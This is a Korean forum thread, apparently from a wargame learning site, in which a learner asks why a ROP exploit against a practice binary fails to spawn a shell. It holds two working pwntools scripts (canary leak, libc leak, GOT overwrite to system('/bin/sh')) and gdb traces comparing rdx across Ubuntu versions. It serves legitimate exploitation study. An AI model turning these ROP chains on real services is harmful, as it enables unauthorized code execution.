쉘이 획득이 안되는데 무엇이 문제인가요..?

shell획득이 안되는데, 왜 이런지 모르겟습니다.
vmmap으로 확인해보았을때 libc의 버전은 2.33입니다.
혹시 read함수에 인자 전달시 rdx의 가젯이 필요한데, rdx의 가젯을 구했으나 libc_base만큼 더해야한다고 알고있습니다. 하지만 libc_base의 값을 구할때 이미 read함수를 줘버리는데 대체 이게 무슨소용인지...

그리고 두번째로 주어진 예제처럼 그냥 rdx가 큰 값이라고 가정하고 익스플로잇하면 실제로는 rdx값이 0으로 설정되어있어서 제가 원하는방식으로 익스플로잇도 되지 않습니다...rdx의 값을 어떻게 활용해야하는지 아니면 rdx의 값을 직접적으로는 어떻게 구해야하는지 조금의 조언을 주시면 감사하겠습니다..!!


context.arch = 'amd64'
context.log_level = 'debug'
p = process('./rop')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.33.so')
elf = ELF('./rop')

canary = b''
payload = b'a'*0x39

#canary leak
p.sendafter('Buf: ', payload)
p.recvuntil(payload)
canary = b'\x00' + p.recvn(7)
canary = u64(canary)
print(hex(canary))

#exploit
read_plt = elf.plt['read']
read_got = elf.got['read']
puts_plt = elf.plt['puts']
pop_rdi = 0x00000000004012ab
pop_rsi_r15 = 0x00000000004012a9
pop_rdx = 0x00000000000ca17d


payload = b'a'*0x38
payload += p64(canary)
payload += b'a'*0x8

#puts(read_got);
payload += p64(pop_rdi)
payload += p64(read_got)
payload += p64(puts_plt)

#read(0, read_got, 0x10)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(read_got)
payload += p64(0)
payload += p64(read_plt)

#read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)

p.sendafter('Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
print(hex(read))
print(hex(lb))
print(hex(system))
p.send(p64(system)+b"/bin/sh\x00")

p.interactive()
#시스템_해킹 #공격기법 #rop
작성자 정보
답변 3
avatar
김진우
대표 업적 없음

스택 피보팅이나 return to csu 기법으로 rdx 조작이 가능하긴 합니다만 ROP를 막 배우는 시점에서 이러한 기법을 응용하는 것은 힘들 것 같습니다.

ROP를 통해 libc 주소를 유출한 후 main으로 돌아가서 다시 오버플로우를 일으키는 방법을 시도해보시거나 아니면 그냥 그려려니하고 일단 넘기시는 것을 추천드립니다.

2022.04.15. 02:36
2dedce
워게임 고인물
pop_rdi = 0x00000000004012ab
pop_rsi_r15 = 0x00000000004012a9
pop_rdx = 0x00000000000ca17d

위 3개의 가젯 오프셋이 잘못된 것 같습니다. https://dreamhack.io/wargame/challenges/354/ 이 문제의 바이너리에서 위 오프셋의 명령어를 확인해보면...

$ gdb ./rop -q
Reading symbols from ./rop...
(No debugging symbols found in ./rop)
gdb-peda$ vmmap
Warning: not running
Start              End                Perm      Name
0x00400548         0x0040080d         rx-p      /mnt/c/files/rop
0x00400238         0x00400988         r--p      /mnt/c/files/rop
0x00600e10         0x00601070         rw-p      /mnt/c/files/rop
gdb-peda$ x/i 0x00000000004012ab
   0x4012ab:    Cannot access memory at address 0x4012ab
gdb-peda$ x/i 0x00000000004012a9
   0x4012a9:    Cannot access memory at address 0x4012a9
gdb-peda$ x/i 0x00000000000ca17d
   0xca17d:     Cannot access memory at address 0xca17d

모두 잘못된 곳입니다. $ ROPgadget --binary ./rop 명령어로 찾은 올바른 가젯은

0x00000000004007f3 : pop rdi ; ret
0x00000000004007f1 : pop rsi ; pop r15 ; ret

이고 pop rdx 가젯은 바이너리에서는 못찾았습니다. 직접 확인해봐도 강의 https://learn.dreamhack.io/84#13 에서 나온 오프셋이 정확합니다. 그리고 pop rdx 가젯은 libc에서 구할 수 있으실겁니다. 하지만 말씀하신대로 libc_base를 구하기 전에 read함수를 호출하는 rop를 짜게 되어있으므로 libc의 pop rdx가젯을 사용하려면 main함수로 점프해서 main함수의 read를 한 번 더 실행시켜 새로운 rop payload를 주는 방법도 쓸 수 있고, https://learn.dreamhack.io/84#12 에서 나온대로 libc_csu_init 가젯을 이용해도 된다고 합니다.

한편 read 함수를 호출할 당시에 3번째 인자가 이미 큰 값으로 설정되어고 하는데 제가 ubuntu 20.04에서 확인해보니 질문자님 말씀대로 read를 호출할 당시에는 rdx=0으로 설정되어있더라고요. 강의와 문제 환경은 ubuntu 18.04이라 환경이 달라서 그런가 봅니다. 같은 방법으로 ubuntu 18.04에서도 확인해보니 rdx가 매우 큰 값(0x7f2ee5fb58c0)으로 설정되는 것을 확인했습니다. 환경을 ubuntu 18.04로 바꾸고 실습을 진행하시는 것이 좋아 보입니다.

read 함수 호출될 당시 rdx 확인하는 방법

ubuntu18.04에서 read함수가 호출될 당시 rdx값을 확인한 과정은 아래와 같습니다.

# 파이썬 3
from pwn import *
def slog(name): return success(f"{name}: {hex(eval(name))}")
p = process("./rop")
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") # 18.04
# 20.04에서는 ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")

# [1] Leak canary
buf = b"A"*0x39
p.sendafter(b"Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("cnry")

# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
payload = b"A"*0x38 + p64(cnry) + b"B"*0x8

# puts(read_got)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)

# read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)

pause() ; "<--- 여기서 브포설정할 여유 있음!!"
p.sendafter(b"Buf: ", payload)
read = u64(p.recvn(6)+b"\x00"*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
slog("read")
slog("lb")
slog("system")
p.send(p64(system)+b"/bin/sh\x00")

p.interactive()

위 코드를 실행시킵니다.

$ python3 dh.py
[+] Starting local process './rop': pid 159
[*] '/mnt/c/files/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] cnry: 0x4f9defc5e2ab600
[*] Paused (press any to continue)

pause한 사이에 위에서 뜬 pid 159를 다른 터미널에서 gdb attach 합니다.

$ gdb -p 159 -q
Attaching to process 159
[----------------------------------registers-----------------------------------]
RAX: 0xfffffffffffffe00
RBX: 0x0
RCX: 0x7f5367434031 (<__GI___libc_read+17>:     cmp    rax,0xfffffffffffff000)
RDX: 0x100
RSI: 0x7ffdc78d3940 ('A' <repeats 57 times>, "\266*^\374\336\371\004\220\a@")
RDI: 0x0
RBP: 0x7ffdc78d3980 --> 0x400790 (<__libc_csu_init>:    push   r15)
RSP: 0x7ffdc78d3938 --> 0x40076e (<main+199>:   mov    eax,0x0)
RIP: 0x7f5367434031 (<__GI___libc_read+17>:     cmp    rax,0xfffffffffffff000)
R8 : 0x5
R9 : 0x43 ('C')
R10: 0xffffffbd
R11: 0x246
R12: 0x4005c0 (<_start>:        xor    ebp,ebp)
R13: 0x7ffdc78d3a60 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7f536743402b <__GI___libc_read+11>:        jne    0x7f5367434040 <__GI___libc_read+32>
   0x7f536743402d <__GI___libc_read+13>:        xor    eax,eax
   0x7f536743402f <__GI___libc_read+15>:        syscall
=> 0x7f5367434031 <__GI___libc_read+17>:        cmp    rax,0xfffffffffffff000
   0x7f5367434037 <__GI___libc_read+23>:        ja     0x7f5367434090 <__GI___libc_read+112>
   0x7f5367434039 <__GI___libc_read+25>:        repz ret
   0x7f536743403b <__GI___libc_read+27>:        nop    DWORD PTR [rax+rax*1+0x0]
   0x7f5367434040 <__GI___libc_read+32>:        push   r12
[------------------------------------stack-------------------------------------]
0000| 0x7ffdc78d3938 --> 0x40076e (<main+199>:  mov    eax,0x0)
0008| 0x7ffdc78d3940 ('A' <repeats 57 times>, "\266*^\374\336\371\004\220\a@")
0016| 0x7ffdc78d3948 ('A' <repeats 49 times>, "\266*^\374\336\371\004\220\a@")
0024| 0x7ffdc78d3950 ('A' <repeats 41 times>, "\266*^\374\336\371\004\220\a@")
0032| 0x7ffdc78d3958 ('A' <repeats 33 times>, "\266*^\374\336\371\004\220\a@")
0040| 0x7ffdc78d3960 ('A' <repeats 25 times>, "\266*^\374\336\371\004\220\a@")
0048| 0x7ffdc78d3968 ('A' <repeats 17 times>, "\266*^\374\336\371\004\220\a@")
0056| 0x7ffdc78d3970 ("AAAAAAAAA\266*^\374\336\371\004\220\a@")
[------------------------------------------------------------------------------]
gdb-peda$ b*0x0000000000400788  <---- main함수 끝에 있는 ret에 브레이크포인트를 겁니다
Breakpoint 1 at 0x400788
gdb-peda$ c
Continuing.

그리고 파이썬이 실행중인 터미널에서 엔터키를 눌러서 pause를 끝내고 페이로드를 입력하도록 시키면 gdb 창에서 브레이크 포인트가 잡힙니다.

[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x0
RDX: 0x100
RSI: 0x7ffdc78d3940 ('A' <repeats 56 times>)
RDI: 0x0
RBP: 0x4242424242424242 ('BBBBBBBB')
RSP: 0x7ffdc78d3988 --> 0x4007f3 (<__libc_csu_init+99>: pop    rdi)
RIP: 0x400788 (<main+225>:      ret)
R8 : 0x5
R9 : 0x43 ('C')
R10: 0xffffffbd
R11: 0x246
R12: 0x4005c0 (<_start>:        xor    ebp,ebp)
R13: 0x7ffdc78d3a60 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400780 <main+217>: je     0x400787 <main+224>
   0x400782 <main+219>: call   0x400580 <__stack_chk_fail@plt>
   0x400787 <main+224>: leave
=> 0x400788 <main+225>: ret
   0x400789:    nop    DWORD PTR [rax+0x0]
   0x400790 <__libc_csu_init>:  push   r15
   0x400792 <__libc_csu_init+2>:        push   r14
   0x400794 <__libc_csu_init+4>:        mov    r15,rdx
[------------------------------------stack-------------------------------------]
0000| 0x7ffdc78d3988 --> 0x4007f3 (<__libc_csu_init+99>:        pop    rdi)
0008| 0x7ffdc78d3990 --> 0x601030 --> 0x7f5367434020 (<__GI___libc_read>:       )
0016| 0x7ffdc78d3998 --> 0x400570 (<puts@plt>:  jmp    QWORD PTR [rip+0x200aa2]        # 0x601018)
0024| 0x7ffdc78d39a0 --> 0x4007f3 (<__libc_csu_init+99>:        pop    rdi)
0032| 0x7ffdc78d39a8 --> 0x0
0040| 0x7ffdc78d39b0 --> 0x4007f1 (<__libc_csu_init+97>:        pop    rsi)
0048| 0x7ffdc78d39b8 --> 0x601030 --> 0x7f5367434020 (<__GI___libc_read>:       )
0056| 0x7ffdc78d39c0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0000000000400788 in main ()
gdb-peda$

이제 여기서 스택과 현재 실행명령이 어디인지를 보면서 ni를 입력하면 명령어가 한줄씩 실행됩니다. 이때 rip가 puts 함수로 들어가게 되면 fin 명령어를 입력해 puts함수를 빠르게 끝내면서 진행합니다. 그러다보면 read함수를 호출할 때 rdx를 확인할 수 있습니다.

gdb-peda$ ni
[-------------------------------------code-------------------------------------]
=> 0x4007f3 <__libc_csu_init+99>:       pop    rdi
   0x4007f4 <__libc_csu_init+100>:      ret
   0x4007f5:    nop
   0x4007f6:    nop    WORD PTR cs:[rax+rax*1+0x0]
[------------------------------------stack-------------------------------------]
0000| 0x7ffdc78d3990 --> 0x601030 --> 0x7f5367434020 (lea    rax,[rip+0x2e09b1]        # 0x7f53677149d8)
0008| 0x7ffdc78d3998 --> 0x400570 (<puts@plt>:  jmp    QWORD PTR [rip+0x200aa2]        # 0x601018)
0016| 0x7ffdc78d39a0 --> 0x4007f3 (<__libc_csu_init+99>:        pop    rdi)
0024| 0x7ffdc78d39a8 --> 0x0
0032| 0x7ffdc78d39b0 --> 0x4007f1 (<__libc_csu_init+97>:        pop    rsi)
0040| 0x7ffdc78d39b8 --> 0x601030 --> 0x7f5367434020 (lea    rax,[rip+0x2e09b1]        # 0x7f53677149d8)
0048| 0x7ffdc78d39c0 --> 0x0
0056| 0x7ffdc78d39c8 --> 0x4005a0 (<read@plt>:  jmp    QWORD PTR [rip+0x200a8a]        # 0x601030)
[------------------------------------------------------------------------------]
gdb-peda$ ni
[-------------------------------------code-------------------------------------]
   0x4007ee <__libc_csu_init+94>:       pop    r13
   0x4007f0 <__libc_csu_init+96>:       pop    r14
   0x4007f2 <__libc_csu_init+98>:       pop    r15
=> 0x4007f4 <__libc_csu_init+100>:      ret
   0x4007f5:    nop
   0x4007f6:    nop    WORD PTR cs:[rax+rax*1+0x0]
   0x400800 <__libc_csu_fini>:  repz ret
   0x400802:    add    BYTE PTR [rax],al
[------------------------------------stack-------------------------------------]
0000| 0x7ffdc78d3998 --> 0x400570 (<puts@plt>:  jmp    QWORD PTR [rip+0x200aa2]        # 0x601018)
0008| 0x7ffdc78d39a0 --> 0x4007f3 (<__libc_csu_init+99>:        pop    rdi)
0016| 0x7ffdc78d39a8 --> 0x0
0024| 0x7ffdc78d39b0 --> 0x4007f1 (<__libc_csu_init+97>:        pop    rsi)
0032| 0x7ffdc78d39b8 --> 0x601030 --> 0x7f5367434020 (lea    rax,[rip+0x2e09b1]        # 0x7f53677149d8)
0040| 0x7ffdc78d39c0 --> 0x0
0048| 0x7ffdc78d39c8 --> 0x4005a0 (<read@plt>:  jmp    QWORD PTR [rip+0x200a8a]        # 0x601030)
0056| 0x7ffdc78d39d0 --> 0x4007f3 (<__libc_csu_init+99>:        pop    rdi)
[------------------------------------------------------------------------------]
gdb-peda$ ni
[-------------------------------------code-------------------------------------]
   0x400561:    xor    eax,0x200aa2
   0x400566:    jmp    QWORD PTR [rip+0x200aa4]        # 0x601010
   0x40056c:    nop    DWORD PTR [rax+0x0]
=> 0x400570 <puts@plt>: jmp    QWORD PTR [rip+0x200aa2]        # 0x601018
 | 0x400576 <puts@plt+6>:       push   0x0
 | 0x40057b <puts@plt+11>:      jmp    0x400560
 | 0x400580 <__stack_chk_fail@plt>:     jmp    QWORD PTR [rip+0x200a9a]        # 0x601020
 | 0x400586 <__stack_chk_fail@plt+6>:   push   0x1
 |->   0x7f53673a4970:  push   r13
       0x7f53673a4972:  push   r12
       0x7f53673a4974:  mov    r12,rdi
       0x7f53673a4977:  push   rbp
                                                                  JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0x7ffdc78d39a0 --> 0x4007f3 (<__libc_csu_init+99>:        pop    rdi)
0008| 0x7ffdc78d39a8 --> 0x0
0016| 0x7ffdc78d39b0 --> 0x4007f1 (<__libc_csu_init+97>:        pop    rsi)
0024| 0x7ffdc78d39b8 --> 0x601030 --> 0x7f5367434020 (lea    rax,[rip+0x2e09b1]        # 0x7f53677149d8)
0032| 0x7ffdc78d39c0 --> 0x0
0040| 0x7ffdc78d39c8 --> 0x4005a0 (<read@plt>:  jmp    QWORD PTR [rip+0x200a8a]        # 0x601030)
0048| 0x7ffdc78d39d0 --> 0x4007f3 (<__libc_csu_init+99>:        pop    rdi)
0056| 0x7ffdc78d39d8 --> 0x601038 --> 0x7f53673a52a0 (push   r13)
[------------------------------------------------------------------------------]
gdb-peda$ fin    <-------------- finish 명령어로 puts함수 빠르게 탈출
Run till exit from #0  0x0000000000400570 in puts@plt ()
[----------------------------------registers-----------------------------------]
RAX: 0x7
RBX: 0x0
RCX: 0x7f5367434104 (cmp    rax,0xfffffffffffff000)
RDX: 0x7f53677118c0 --> 0x0    <---------------------- RDX가 매우 큰 값!!
RSI: 0x7f53677107e3 --> 0x7118c0000000000a
RDI: 0x1
RBP: 0x4242424242424242 ('BBBBBBBB')
RSP: 0x7ffdc78d39a8 --> 0x0
RIP: 0x4007f3 (<__libc_csu_init+99>:    pop    rdi)
R8 : 0x6
R9 : 0x43 ('C')
R10: 0xffffffbd
R11: 0x246
R12: 0x4005c0 (<_start>:        xor    ebp,ebp)
R13: 0x7ffdc78d3a60 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x4007f3 <__libc_csu_init+99>:       pop    rdi
   0x4007f4 <__libc_csu_init+100>:      ret
   0x4007f5:    nop
   0x4007f6:    nop    WORD PTR cs:[rax+rax*1+0x0]
[------------------------------------stack-------------------------------------]
0000| 0x7ffdc78d39a8 --> 0x0
0008| 0x7ffdc78d39b0 --> 0x4007f1 (<__libc_csu_init+97>:        pop    rsi)
0016| 0x7ffdc78d39b8 --> 0x601030 --> 0x7f5367434020 (lea    rax,[rip+0x2e09b1]        # 0x7f53677149d8)
0024| 0x7ffdc78d39c0 --> 0x0
0032| 0x7ffdc78d39c8 --> 0x4005a0 (<read@plt>:  jmp    QWORD PTR [rip+0x200a8a]        # 0x601030)
0040| 0x7ffdc78d39d0 --> 0x4007f3 (<__libc_csu_init+99>:        pop    rdi)
0048| 0x7ffdc78d39d8 --> 0x601038 --> 0x7f53673a52a0 (push   r13)
0056| 0x7ffdc78d39e0 --> 0x4005a0 (<read@plt>:  jmp    QWORD PTR [rip+0x200a8a]        # 0x601030)
[------------------------------------------------------------------------------]
# ... ni를 입력하며 확인하면 그 뒤로 read함수 호출될 때까지 rdx는 매우 큰 값임

20.04에서도 같은 방법으로 확인해보면 rdx=0임을 확인할 수 있습니다.

2022.04.15. 03:36
blackbearwow
대표 업적 없음

저도 rdx가 0이되어서 고생좀 했습니다...
puts를 하면 항상 0이 되더라고요.
저는 libc_csu_init가젯을 이용해서 해결했습니다. 화이팅!

2022.04.16. 15:29
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기